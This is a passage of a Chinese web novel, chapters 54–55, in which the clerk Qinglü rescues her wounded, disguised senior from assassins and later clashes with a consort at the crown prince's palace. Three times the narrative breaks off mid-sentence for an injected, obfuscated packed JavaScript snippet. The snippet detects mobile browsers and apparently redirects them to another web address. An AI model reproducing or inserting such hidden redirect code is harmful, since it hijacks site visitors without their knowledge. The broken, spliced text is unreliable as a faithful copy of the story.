万去病也缓缓起身,颀长的身段如水岸青竹,抿了抿薄唇拱手微笑道:“抱歉,主簿好走。”丝毫没有留客之意。 门口处,鹦鹉葵花立于横杆上,扇着翅膀对青绿道:“你有病。” 青绿眼珠子一转,不客气道:“葵花有病。” 葵花如同被打了鸡血,绕着横杆表演了几个对它而言毫无难度的前空翻,一边翻一边喊:“葵花有病,葵花有病。” 青绿嘴角上翘得意地想:再聪明的鹦鹉,不过学舌罢了。 孰料下一秒,鹦鹉玉立在横杆上,显摆似地展开头顶嫩黄色的凤冠,眼睛盯着青绿,十分清晰地吐出四个字:“主簿有病。” 青绿气血翻涌,只差没有一头栽出门外。 出了万客绸缎庄,青绿想了想,对阿四道:“我们顺那日出城的路线往山尚学宫方向走。” 凭直觉,她认为管胖子与万客绸缎庄有瓜葛,而第五格说管胖子在礼尚街出现过,当时有两拨人在追他,故危急关头,不排除管胖子躲藏在沿路一带,伺机向万去病求救。 阿四默然点头。 她不知道的是,伫立窗前的万去病望着她单薄的背影,眸光闪动,自言自语道:“管胖子这个师妹甚为有趣。”对立在身后去而复返的纸鸾吩咐,“跟着她,该出手时便出手。” 八月天,虽已过申时,仍热浪逼人,青绿与阿四打马而行,不时瞄一眼路上匆匆往来的行人以及路边的店铺,不一会便出了城区,渐渐地,沿路两旁出现大片田地和树林,道上不时闪过几辆载人或载货马车。 暮色渐浓,看见前方一棵歪脖子树,一根巨大的树杈高悬空中,斜跨在路面上方。青绿对此处印象深刻,当日路过时还笑着对管胖子说若有人挂在树上寻短见,岂不吓煞路人也?被管胖子呸呸了好几口。 若没有记错,再走半刻钟便是一片小树林,过了树林左拐再走一刻钟左右,便能看见礼尚街。青绿盘算着,如再无收获,到礼尚街的烧饼铺买几个烧饼,亦算不枉此行。 “老大,都过了好几日了,我们再寻回原处有个屁用,依我看,那头猪要害处中了你一箭,早活不成了。”有声音从身后传来。 “住嘴,休得胡说。”女子声音斥道,却是西域口音。 青绿下意识地竖起耳朵。 “啪”的一声,清脆的马鞭声响起,便有四五名身着黑衣、镖师打扮的人骑马从身后呼啸而过。 青绿本与阿四并辔而行,不防坐骑被惊了一下,差点将她摔下马来,青绿忙勒紧缰绳,脱口道:“急着投胎么?” 一名黑衣人猛地回头瞪了她一眼,青绿心底发虚,嘟囔道:“看来也不是很急,还有时间打上一架。” 黑衣人又看一眼阿四,方才拍马追赶同伙。 一队十来人的商队迎面而来,打头一辆装满货物的马车,车上挂了几个铃铛,铃铛震动和着马蹄声别有一番韵味,看衣着打扮及他们所骑的高头大马,是西域戎人无疑。 与青绿擦肩而过之时,商队中一名满头小辫子的美艳胡姬,见青绿凝眸看她,便风骚地抛了一个媚眼,大笑着用别扭的汉话对身旁一脸威严的汉子道:“此便是中原男子么?简直瘦弱如沙鸡。哈哈。”声音之大,分明是故意说给青绿听的。 有一刻,青绿差点甩出袖中飞剑,好在胡姬的猖狂笑声被他身旁的汉子及时制止,看模样,那汉子是个领头。 一阵破锣似的歌声穿过前面的树林传来:“娘子十七八,今日回娘家,篮子装着梨和瓜,还有乌龟与王八,半路下了一场雨,娘子摔个仰巴叉,滚了梨,碎了瓜,跑了乌龟和王八。” 唱歌的人明显五音不全,听着让人起鸡皮疙瘩。 随着歌声,一辆马车拐过树林迎面而来,赶车的是名中年汉子,戴着一顶大草帽,穿一件对襟褐色小褂子,光着黝黑的膀子,坐在车上摇头晃脑唱得挺来劲。 看那得瑟样子,车里的娘子想必也是满心欢喜罢,青绿被感染,郁闷的心情稍霁。 青绿二人走过树林,突然,青绿勒住了缰绳,马儿打了个响鼻停住了脚步,她感到有些不对劲,哪不对劲,一时也想不明白。 默了默,青绿脑子里灵光一闪,对阿四道:“回去,追上方才那辆马车。” 便在二人拨转马头之际,原先飞奔而过的黑衣镖师,不知何故掉头而回,再一次风驰电掣从身后越过他们,青绿的坐骑又被吓了一跳,她骂了一句:“王八蛋,还真是赶去投胎啊。” 青绿与阿四快马加鞭,远远便看见歪脖子树的边上,一个涂脂抹粉头戴一朵大红花的胖妇人,举着一截木棍,脚步踉跄正与先前那几名黑衣人酣战,地上躺着车夫以及一名黑衣人尸体。 忽然,胖妇人袖子一扬,几道寒光朝围上来的几名黑衣人飞去。 黑衣女子大喊:“当心,他手里有暗器。” 已然迟了,两名黑衣人应声倒下,却有一名黑衣人闪身躲过,迎着胖妇人的木棒挺身向前,在木棒刺穿自己胸口之际,一剑插进胖妇人右肩,胖妇人动弹不得,她身后的黑衣女子抢前一步,一剑朝她后心刺去。 电光火石之际,快马赶到跟前的青绿手一扬,袖中薄如羽翼的飞剑划过了黑衣女子喉部,喷射而出的鲜血溅了胖妇人一身。 黑衣女子面目狰狞,持剑仍然直插胖妇人后胸,被飞身而至的阿四一脚踢出三丈开外,当场气绝。 解决了所有的黑衣人,青绿和阿四去扶倒地的胖妇人,胖妇人艰难地朝青绿眨了眨眼,张嘴欲待说话。 却听一阵急如骤雨的马蹄声,阿四来不及将胖妇人移进车厢,只得让她倚靠着车轮。 阿四回身拨出双刀的瞬间,已被先前遇到过的十几名西域戎人手持兵器团团围住,阿四迈着迅捷的狐步,两把大刀使得上下翻飞,宛如九天揽月,逼退了戎人好几次进攻。 青绿挡在胖妇人面前,手中捏着飞剑看着面前的一切。 领头的戎人突然呱啦呱啦喊了几句,戎人顿时分为两拨,大部分人缠着阿四打斗,三人朝青绿围拢而来,想来他们明白急切之间拿不下阿四,便改变了战略,先取了胖妇人性命。 三名戎人手持寒光闪闪的兵器,倏忽之间便到了青绿跟前,其中便有那名娇艳胡姬。 青绿怒道:“天子脚下,竟敢刺杀朝廷命官,你们是何人?” 三人不搭话,胡姬举着一对流星锤快速朝青绿靠近。 青绿甩出手中飞剑,被她躲过,看来功夫甚为了得。 胡姬顿了顿,与其余二人相互使了个眼色,三人突然排成一列,随后交叉着身影朝青绿逼来,一名使双刀的汉子舞着大刀护着前胸走在最前面。 青绿一时眼花缭乱,也顾不得准头不准头,将手中飞剑一并甩出,飞剑如纷飞彩蝶绕着三人打转,当场有两人被飞剑击中倒地。 胡姬却以同伴躯体为掩护,一步跨至青绿跟前,收剑在手的青绿欲待再甩出飞剑已经来不及。 胡姬恶狠狠地将一对流星锤朝青绿头上砸来。 青绿使暗器偷袭有一手,近距离搏斗却无任何还手之力,如若躲开,身后的胖妇人势必遭殃。她一咬银牙,不躲不闪,准备以血肉之躯挡下这一锤。 便此时,一名戴着黑色面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689832|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具的白衣女子轻盈落在她面前,手中长剑将胡姬的流星锤击飞,又一剑将尚未反应过来的胡姬刺了个透心凉。 随后飞身掠起如长空白练,在围攻阿四的西域人身后绕了一圈,一阵叮当之声,戎人手中武器纷纷落地。 被围在内圈的阿四持刀在他们前胸各点了一下,每人赏一个血窟窿,戎人顺次仰头倒下。 这一切便发生在须臾之间,青绿看得目瞪口呆,待她反应过来,急得大喊:“留活口。” 阿四的刀尖堪堪在最后一名黑衣人胸前停止,黑衣人却突然发力朝他扑去,阿四快速避开,黑衣人一个前扑倒地。 青绿见黑衣人全身抽搐,跑过去翻过他的身体,已然口吐白沫,气绝身亡。青绿皱眉道:“死士。” 青绿与阿四及蒙面女子走到胖妇人跟前,她已然昏死过去。 蒙面女子将二指搭在她手腕上,号了一会脉,神情极为凝重地开口道:“失血过多,必须马上救治。” 青绿抬头看去,便见一双似曾相识的瑞凤眼,眼睛细长,眼神深邃而不失妩媚。 青绿不不及多问,急道:“谢姑娘出手相救,我们即刻回宫,让御医救治。”她不敢就近去医馆,怕刺客在医馆内守株待兔。 蒙面女子道:“来不及了,回宫至少要两个时辰,路上说不定还有拦截的。”她柳眉一皱,“上车,随我来。” 趁阿四将胖妇人抱到车上的功夫,青绿与蒙面女子分头在两拨杀手身上搜索了一番,随后迅速上了马车。 蒙面女子对阿四道:“顺右边小道转至后山。” 马车上,蒙面女子将一张图交给青绿,说是从黑衣女子身上搜出来,上面是管胖子的画像,青绿将画像揣进怀里。 马车停在一间守林人的茅屋前,蒙面女子进屋,不一会,从屋内拎出一张深蓝色的车帷,阿四与她一起将车帷罩在车厢上,马车从灰色变成了深蓝色。 阿四这边也换好了马,待青绿和蒙面女子上了马车,一甩鞭子,马车绕过后山,飞奔进入官道。 也许是马车跑得太快颠簸得厉害,胖妇人闷哼了一声。 青绿凑过去,见她脸色惨白,半死不活的样子,心里一急,眼泪不由滴落在胖妇人脸上。 胖妇人微微皱眉,努力睁开眯成一条缝的眼睛,龇牙咧嘴道:“蠢丫头,我没死,别忙着哭丧。”艰难转头去看蒙面女子。 女子摘下蒙脸黑巾,却是万客绸缎庄的纸鸾。 管胖子头一歪,又昏死过去。 一刻钟后,马车停在礼尚街绸缎铺后院。 天色微明,青绿揉着布满血丝的双眸进了内屋,昨夜她看着纸鸾和绸缎铺的一名老者给管胖子处理完伤口,灌下汤药,直至管胖子呼吸平稳,一颗提在半空的心落地后,到外间躺下打了个盹。 管胖子已然醒来,一见她便嘲道:“切,还以为教了你飞剑,危急时刻能救师兄一命,谁曾想却是既不中看又不中用,关键时刻还得靠纸鸾姑娘的长剑,明日起,你每日跟阿四练一个时辰的剑。” 阿四认真地点头,点头。 青绿腹诽:这兰台人好为人师,连个哑巴都概莫能外。又不忍拂阿四想当师傅的好意,便点头含糊道:“忙完这一段再说。” 她打量了管胖子一会,见他没了昨日气息奄奄的神态,不由一乐:“师兄,你是如何将自己弄到如此狼狈不堪的地步的,幸亏你装扮的美艳妇人给你加分,不然你在我心目中的光辉形象恐已跌落尘埃。” 管胖子仍未卸妆,脸上薄施脂粉,淡扫蛾眉,咬得紧紧的鲜红嘴唇,挤出脸上一对大而圆的酒窝,活脱脱一名丰腴美妇人。 纸鸾笑道:“管大人,忙起来忘了给您洗脸了,我这便去打水。” 阿四端了一盘冒着热气的馍馍进来。 纸鸾给各人面前的茶盏倒上茶水。 青绿一边道谢,一边抓了一个馍馍啃着,凑到管胖子跟前道:“师兄,说说呗,这几日你都碰到啥事?躲在何处?师傅那叫一个急,一张老脸黑得能当墨汁。” 54.第五十四章 教训 管胖子看着青绿满是关切的眼神,咧咧嘴道:“真想知道我的遭遇?怕你听了会动摇从业决心。” 青绿不屑道:“我志比金坚,何曾因为你被追杀而怕过?” 心道:又不是我被追杀,我怕甚? 管胖子一眼看透她的小心思,咧咧嘴:“除非你甘心一辈子只做兰台主簿。确实,一只龟缩在兰台的小鹌鹑无甚好怕的。” 青绿翻了个白眼,懒得反驳。 管胖子笑了笑,缓缓道:“说来话长。几日前,我陪你宋大姐姐前往山尚学宫,走到半路,见这伙黑衣镖师可疑,便下车一路跟踪,不料却在礼尚街遭其伏击,左胸中了一箭,幸亏遇到一名学宫弟子,把我藏在小客栈里,救了我一命。” 却说管胖子自从住进来宾客栈,便一直高烧不退,时迷糊时明白,直至今日方悠悠清醒过来。 他一睁眼,便见当日救自己的少年正垂首凝望着他,眼底含着关心。 管胖子问:“我躺了多久?” “管大哥,你昏睡了两日。”少年道。 管胖子感激道:“多谢小兄弟出手相救,小兄弟是山尚学宫的弟子吧,怎么称呼?” 少年道:“姓刘,唤我刘哲便好。”取出一包草药,“我给你换药吧。” 管胖子看着他笨拙地拆开绷带,问:“你会医术?” 刘哲摇头道:“不会,是我一位师兄救了你。”似是猜到他想问的话,“管大哥放心,他不会说出去的,他说医者仁心,无论白道□□,江湖殿堂,是人受伤他都会出手相救。” 管胖子笑道:“没什么不放心的,若他说出去,我还能躺在此处?”从怀里掏出两锭各五两的银子递给刘哲:“你帮我买一身妇人衣裳和一些胭脂水粉,再买一朵插在鬓边的鲜花。” 刘哲道:“这些物件用不上这许多银子。” “余下的是住宿及药资。” 刘哲拿了一锭银子:“这个足够了。” 看到刘哲买回来的物品,管胖子有些无语。这眉眼清冷的少年,看着聪明却傻得掉渣,买的衣裳水粉等尚可,那朵鲜花,却是比他的胖脸还大的红牡丹。 刘哲嗫嚅道:“卖花的婶子说,中年妇人回娘家,必须带大红花。” 管胖子将一锭银子递给他:“去雇辆马车,停在后门,然后你便离开。” 刘哲担忧道:“管大哥,为何不待身子好结实了再走?” 管胖子笑道:“不了,保不住那伙人寻不着我再杀个回马枪。你出了这个门别再回头,咱们后会有期。” 刘哲拱手作揖:“后会有期。” 管胖子虚弱道:“估计我离开客栈时,便被他们的探子盯上了,亏了你们来得及时。”顿了顿,“你们是如何找到我的?” 纸鸾微微转头看向青绿。 管胖子目光落在青绿脸上,故作惊叹:“你个蠢丫头,如何做到的?瞎猫碰着死老鼠?” 青绿得意道:“昨日我与阿四沿着上次去西域的路线一路朝前走,别问我为什么,凭直觉,直觉你有么?” 管胖子头摇得似个波浪鼓:“没有,我能拿得出手的只有肥膘。” 青绿笑道:“主要是那匹拉车的马,走得何其费劲,我便想着车里的妇人肯定很重,会不会是个大胖子?嗯,还真让我蒙对了。” 管胖子道:“还算有脑子,待我好利索了,再想想如何赏你。” 青绿咧嘴:“不要奖赏,只需助我一臂之力。过几日,是我的及笄礼,你有相熟的帅哥,比如万庄主那般好看的,叫几个到府上给我撑撑场子。妹娘下令,若帅哥不够,我还得继续吃萝卜豆腐增白。”又补充,“我今日原是要四处送请帖的,被你的事给搅了。” 心里却在盘算,回宫后去一趟鸣鸾殿,让钟离梨打探一下七竹的案子何时能结。 管胖子一本正经地问:“你现在收集了几位?” “凡不凡算不算?”青绿转了转眼珠子。 “你亲大哥,不算。” “那或许只有一个殿下小哥了,还不知道他能不能来。”青绿小脸皱成了拧干的丝帕。 “那是真不够看,堂堂凡主簿很要脸的不是?兰台也丢不起这份人。”故作深思状,“但万庄主这个等级的菜锅,我手上也没有哦,不如这样,人不够礼来凑,我送你双份贺礼吧,好歹给你挽回点面子。” “使得。”青绿眉开眼笑。 青绿突然想起一事,从怀里掏出画像及一张关牒递给管胖子:“这是从两拨刺客身上搜到的。” 关牒是她从领头的戎人身上翻出来的。 管胖子看着画像,皱眉大呼:“怎地画得如此难看?我可是京师叔圈天菜,这群傻子按图索骥逮得着我才怪。”看着关牒,脸上秒挂阴狠之色,“你即刻回兰台,把这些物件交给师父。” 青绿点头道:“师兄,你也不能留在此处。” 管胖子闭目,过了片刻,方睁开眼道:“我一时半会的动不了,有纸鸾姑娘,没事。”有些上气不接下气,“与你说了这一会话,我也烦了,走吧。” 言毕,清咳两声,竟有血水从他口内流出。原来他体内毒素尚未排完,硬撑着与青绿说话,耗费了不少精气神。 青绿对纸鸾道:“那便劳烦纸鸾姐姐了。” 与阿四施礼而别。 青绿回到兰台,鼓足勇气进了瓜老头书房。 瓜老头死鱼眼眨了一下:“何事?” 青绿小心翼翼道:“董中丞,我找到管师兄了。”言罢,将画像及关牒摆到他面前的书桌上。 他阴得能拧出水来的脸,终于有了些许活泛:“说说整个过程。” 青绿简明扼要地将昨日相关情况说了一遍,但略去了万客绸缎庄及纸鸾一节,只说是自己发现了管胖子踪迹,阿四击杀了两拨刺客。 她牢记管胖子的嘱咐,对任何人都不可提起万客绸缎庄。 青绿说完,紧张地等待瓜老头提问。 所幸,瓜老头一改往日追问细节的习惯。他将关牒拿在手上看了一会,冷哼一声,破天荒指着关牒道:“这是西域将军府开具的通关关牒,持此关牒者可直达京师,而不必在各关口等候交换。” 青绿十分震惊:“镇西将军府的人追杀到这儿?” “光凭这张关牒,不能说明刺客便是镇西将军府所派,毕竟镇西将军府每年都为西域的重要人物开具关牒。” 青绿瞪圆了澄澈的双眸:“这都不能说明?” 瓜老头反问:“你说呢?” “是不能。”青绿泄气,“有各种理由,如被利用、被欺骗或被盗取等等。” 瓜老头破天荒地笑笑,脸上表情比哭还难看:“回去休息吧。” 青绿受宠若惊:“谢谢中丞大人。”走了几步,不放心地回头, “管师兄安全么?”见瓜老头眼中只剩下眼白,吓得连忙逃离。 青绿欣欣然拎着食盒,熟门熟路摸到鸣鸾殿的秀女教习室,却被告知,汤圆被七公主府叫走了,钟离梨被东宫调去练习舞蹈,两人均不在,青绿有些扫兴,想想,干脆往东宫送及笄礼的请帖得了。 正午的阳光落在东宫殿阁的屋顶上,博望苑内的彩排已然进入倒计时。 一袭淡粉真丝云纹襦裙、外罩素纱禅衣的萧文渊,正全神贯注弹奏刘睿谱写的千秋节献礼曲《恩泽》。她螓首微垂,随韵律轻晃,云鬓斜插的一支四蝶金步摇,亦微微颤动,衬得她面容白如凝脂,端的是“步摇金翠人如玉,吹动珑璁”。 她指下流淌的琴音,既有昔我往矣杨柳依依的风雅清颂,亦有高山流水响遏行云的泱泱大风。 一众宫人随着琴音翩然起舞。 风起树摇,有花瓣飞落。 萧文渊的动作渐渐放缓,乐曲婉转而终,琴音绕梁不绝。 窗外,青绿静立了小半个时辰,边听边暗自感叹:也就是凤凰姐姐萧文渊,能将刘睿所谱曲子领会得如此透彻、表达得这般精准。饶是不通音律的自己,也深深感受到曲子里藏着的感恩之心。 她抬脚朝门口走去,突闻一声娇斥:“木头都比你柔软。” 青绿忙止住脚步,站在门口朝里看。 便见一位一袭紫衣,唇边长着一颗淡淡黑痣的美人,正在训斥站在她面前的三名宫人:“在秀女教习室也有半载了,都是在摸鱼么?” 被训斥的宫人低头默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701051|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不作声,其余宫人全都原地垂首而立。 紫衣美人走到萧文渊跟前,面带愠色道:“我早与姐姐说过,不可再添加新人参与献舞,姐姐偏不听,都练了好几回了,还是不合拍。” 萧文渊抬头,对紫衣美人笑道:“殿下作的这首曲子恢宏大气,伴舞的人太少撑不起来,我瞧着她们三人跳得不错,专门从秀女教习室借来,多合练几次便熟练了,璨妹妹也忒心急了些。” 青绿猜想,这位被称为璨妹妹的紫衣美人,应该便是马璨璨。 便听她陡然提高了话音:“香露、小宁跳得还差强人意,钟离梨却如雕塑木偶,姐姐让我如何教?姐姐是诚心的吧?你的琴弹得好好的,我的舞也领得好好的,你却硬要塞一块木头进来,是何居心?你不剔除她,我与殿下说去。” 萧文渊撇了马璨璨一眼,淡淡道:“妹妹想多了。” 青绿有些犹疑是否还要进去。她很清楚,东宫正妃之争当属萧马二人。按理,马璨璨是储妃,萧文渊只是舍人之职,萧文渊应听马璨璨的;但萧文渊协理东宫,所有人都归她管,马璨璨得听萧文渊的,她有些不服,明里暗里均与萧文渊较劲。 青绿看着马璨璨摇头:真真长了一副马脑子,怎地就不明白,二人之间分出高低又如何?你以为争妃位是比女子谁好?是比老子、比母家势力好不啦。 马璨璨冷笑道:“不是我想多了,是姐姐做多了,将一根偏远小镇有娘生无爹教的木头硬塞进来,不是诚心要看我出糗又是什么?” 青绿忍不住腹诽:梨子来自杭州,若都算偏远小镇,便不知何为都市了。 萧文渊敛了神色道:“妹妹言重了。” 却见一直垂首的钟离梨猛然抬头,上前一步握住马璨璨的手腕,微微上翘的狐狸眼逼视着她道:“你再说一遍,谁有娘生没爹教?” 马璨璨想甩掉她的手,无奈怎么也甩不脱,一时粉脸涨得通红:“没规矩的贱人,想以下犯上?”抬起右手用尽气力便朝钟离梨的脸上扇去,“不教训你都不知道什么是规矩。” 宫里规矩,层级低的宫人必须绝对服从层级高的宫人,若有违背,等着领罚吧。 眼看她的巴掌即将落在钟离梨脸上,却被一个小木筪拦了一下,木筪被狠狠拍落在地,哐啷一声脆响,裂开数道口子。 马璨璨凄厉地喊了一声“哎哟”,半弯了身子,将右手捂在自己胸前,泪水瞬间在眼眶里打转。 她紧咬朱唇,睁大双眸看清了面前站着的青绿,直起身子怒道:“又是哪旮旯跑出来的贱婢?敢到东宫撒野,来人,将二人拖下去各赏十大板。” 静立的宫人均面面相觑,日常的马璨璨娴静犹如花照水,行动好比风扶柳,说话慢声细语,对下人颇为宽容。不像萧文渊,如高高在上的凤凰让人不敢靠近,且萧文渊管理后院是非分明,有逾规犯错的宫人,该打板子该关禁闭概不能免。 似乎是上次马璨璨病了,皇后亲自来探望后,马璨璨便日渐与萧文渊针锋相对。 钟离梨被这突然出现的变故吓得愣在当场。 两位管事嬷嬷上来便要抓青绿和钟离梨。 萧文渊起身拦在两位嬷嬷跟前:“你们先下去。” 两位嬷嬷忐忑地看一眼马璨璨,默默退后。 萧文渊转身对青绿颔首道:“妹妹何时到的?让妹妹见笑了。” 不知是有意或无意,她对青绿的称呼与往常不大一样,既不点名道姓,亦不言明官职,旁人听着,不过是个普通宫人罢了。 马璨璨蛾眉骤然紧蹙,星眸含霜,伸手揪住青绿衣领朝后一扯,对萧文渊道:“你别在此装神弄鬼唬人,便算是你亲妹子,冒犯了我照样得罚。” 萧文渊不咸不淡道:“我劝璨妹妹,还是保持冷静的好。” 青绿冷不丁被扯紧的领子勒住脖子,一时反应不过来,朝上翻了翻白眼。 马璨璨看看萧文渊,又看看自己红肿的右手,似是被青绿的白眼彻底激怒,举手便朝青绿脸上打去:“今日便替萧姐姐教你这个妹妹东宫的规矩。” 一声清越如玉石相击、沉稳中带着威严的男子声音从门外传来:“你要教何人东宫规矩?” 55.第五十五章 绿茶 男子的声音虽然不高,室内众宫人却齐齐站直了身子,面现紧张之色。不消说,东宫主子刘睿回来了。 马璨璨快速松开抓着青绿领子的手,难以置信地看着萧文渊,压低声音道:“姐姐让姐妹们好生练习,说晚上殿下回来验收,现在午时未到。”脸现恍然,“原来你知道殿下这个时辰回来,故意让我在殿下面前出丑。” 她转身快步迎上刘睿,敛衽屈膝,柔声道:“妾身见过殿下。” 萧文渊款款上前,躬身道:“卑职见过公子。” 刘睿板着脸问:“不是让你们合练么?这练的是哪一出?” 马璨璨一脸委屈,将自己红肿的右手伸到刘睿面前:“殿下,妾身的手险些被废。” 青绿忍不住嘀咕:“我的木匣已然被废,领舞姐姐日常是练舞呢还是练武呢?” 刘睿全当没听见,走到古琴前坐下。 众宫人忙打起精神列好队形,全场一片寂静,落针可闻。 青绿不敢造次,只怪自己来得不是时候。 刘睿低头,右手轻抚琴弦,凝神片刻,大拇指骤然向外弹出,一招“风前鹤舞”顺势使出,宽阔的大厅里,顿时响起一声清脆悦耳的琴音,众人闻声皆屏息凝神。 刘睿面无表情道:“说吧,何事?” 马璨璨柔声道:“回殿下,今日文渊姐姐安排三位秀女与妾身等共舞。”青葱玉指指着钟离梨,“这位妹妹跳得不合拍,我怕误了殿下大事,便说了她几句,或许妾身语气重了些,她不服且与妾身辩驳,妾身抬手想吓唬她,不知何处来的宫人,举着木匣朝妾身的手打来。” 青绿目瞪口呆,以为自己听错了:我去,打你? 看众宫人脸上表情,暗道:或许从她们的角度看到的确是如此。 马璨璨的泪水顺着红润的脸颊潸然而下:“殿下你瞧,臣妾的手肿成这样,恐在献舞时要受到影响呢。” 她红润的脸颊仿如一只汁水饱满的桃子,平滑而粉嫩,如今梨花带雨,更是楚楚可怜。 刘睿严厉地看了萧文渊一眼。 萧文渊躬身回道:“是卑职管理不善。” 刘睿这才将目光落在青绿脸上,语气含了些许威胁:“凡主簿好长的手,竟伸至东宫管起本宫家事来了。” 青绿此时正琢磨着,整个未央宫论演技,马璨璨若称第二,恐无人敢称第一,先前还以为她长了一副马脑子,现在看来,走温柔人设的马璨璨未必输给走干练人设的萧文渊,百炼钢敌不过绕指柔,萧文渊的日子恐怕不如明面上看到的那般高傲洒脱吧。 刘睿这突如其来的提问,让她一时傻了眼,压根没来得及反应。 钟离梨却被刘睿的说话吓得不轻,她料定青绿是来寻自己的,忙走至刘睿跟前跪下,声音打着颤道:“殿下,此事因奴婢而起,是奴婢的错,马姐姐教训得是。” 刘睿眼皮都懒得抬:“你们相识?” 钟离梨实诚地点点头:“是,同在秀女教习室。” 刘睿眼神危险地看向青绿:“难怪,打抱不平打到了本宫后院。” 钟离梨见刘睿脸色逾加凝重,吓得双膝朝前挪了几步,不顾一切大声道:“殿下,是奴婢愚笨,马姐姐教训奴婢是为奴婢好,此事与凡主簿无关。” 刘睿不耐烦地皱了皱眉。 萧文渊轻斥钟离梨:“闭嘴,此处轮不到你说话。” 马璨璨捧着红肿的右手轻轻吹了几下,走至刘睿身旁哽咽道: “殿下,臣妾的手无大碍,这位钟离妹妹既已知错,臣妾求殿下饶了她。但她四肢僵硬,让萧姐姐别再让她跳舞了,免得一颗老鼠屎坏了一锅汤,那可是在千秋宴上给陛下献舞。” 她这番台词看似替钟离梨求情,实质暗戳戳指萧文渊在搞事情。 青绿对马璨璨很是不屑,方才在外看她们合练,整体效果非常好,马璨璨这么贬低钟离梨,纯是因为找萧文渊的茬,钟离梨无辜中枪。但青绿摸不准刘睿的心思,在众宫人面前,她若不合时宜地说话,反而对钟离梨不利,故有些踌躇。 刘睿不表态,右手漫不经心地抚着琴弦,他的手指修长白皙,骨节分明。突然,他三指各按一弦,起落如绽放的兰花,一招“风送轻云”使出,瞬时奏出铿锵强音。 所有人,包括青绿在内,均被吓了一跳。 青绿回过神来,忙走至刘睿跟前,作揖行礼道:“回殿下小哥,小二与钟离梨是秀女教习室时的同窗,今日偶然撞上这位绿茶姐姐要拍花她的脸,情急之下,用手上木匣替她挡了一下。” 众人皆面面相觑,这小丫头怕是吓傻了吧,说的什么乱吃芭蕉,殿下小哥是谁?绿茶姐姐又是什么鬼?瞬间来了吃瓜的兴趣,暂时忘了自己站了许久已弯不下来的腰,将目光集中到青绿身上。 马璨璨一脸着急,辩解道:“殿下,妾身没有,这其中有些误会。” 刘睿未予理会,却敏锐捕捉到青绿的用词,忍不住问道:“何为绿茶姐姐?” 青绿嘴快脑子也快,忙自圆其说:“绿茶便是,便是一杯清茶,领舞姐姐美得如一杯清茶。” 刘睿皱眉,脸上摆出十二万分的不相信:你继续编,本小哥信你才怪。冷着脸问:“凡主簿光临,所为何事?” 青绿心虚,讪笑道:“我是专程给殿下小哥送请帖的,本月十六是我的生辰,妹娘要替我办及笄礼。” 十分狗腿地凑到刘睿耳边,压低声音道:“妹娘逼着我广发‘帅哥帖’,说只要是帅哥,已婚或未婚不讲究,已婚的保不准还有弟比兄更帅。我哪认识什么帅哥?甩锅侠倒认得几位,无奈何只得往东宫来,求殿下小哥好歹接了我的请帖,我回去向妹娘复命。” 萧文渊离得近,笑得花枝乱颤。 另一旁的马璨璨,与青绿之间隔着一个刘睿,听青绿说她美得像绿茶,脸现窃喜之色,待看到萧文渊的笑容,马上敛了笑意,眼里露出了谨慎及警惕。 众宫人很是不解,这小主薄什么骚操作?萧马二人脸上又是什么骚表情?便将目光神同步移至刘睿脸上。 刘睿再也绷不住,咧嘴大笑。 众宫人十分意外,她们眼中的六殿下,日常别说大笑,皮笑肉也笑也难得几回,绷紧的神经不由松了下来,十分自觉地全跌坐在地上,真的站得腰都折了。 刘睿止笑,问道:“请帖呢?” 青绿一拍小脑袋:“我被马姐姐吓得,都忘了这茬了。” 她方才被马璨璨的绿茶烫了一下,心里不爽,话里话外便咬住她不放。 萧文渊难掩心中快意,唇角微翘,将一个裂开的小木匣递给青绿。 青绿乖巧道:“谢谢舍人姐姐。”忽然觉着高傲的凤凰姐姐没有以前那么讨厌,至少她脸上的表情是真实的。 青绿从木匣中取出一张散发着清香的淡粉色请柬递给刘睿。 刘睿展开细细读完,抬头伸出修长的手指轻轻刮了刮青绿的小翘鼻子,摇头微叹:“唉,凡小二都十五了,怎的仍是这副德性。” 青绿认真而恳切道:“这可是我的及笄礼,我攒了这么多年才过一次生辰,殿下小哥你可一定要来哦,千万别忘了带礼物,如果将这几年的礼物一并补上,我也是不敢拒绝的。” 刘睿摇头道:“你出生得不巧,十五是父皇生辰,按惯例,十六我要随父皇往木兰围场,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704094|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美错过你的好日子。人不到礼来凑,说吧,要甚礼物?” 青绿不悦,噘嘴扭头看向一旁,目光却被古琴吸引,通体墨色的琴身中隐隐透着幽绿,如绿色藤蔓缠绕于古木之上,琴身上有“桐梓合精”四字铭文。 刘睿神情严肃道:“不会是看上‘绿绮’吧?这可是传世名琴。” 马璨璨冷哼:“小毛丫头,以为自己是何人?” 萧文渊忍不住轻声道:“公子。” 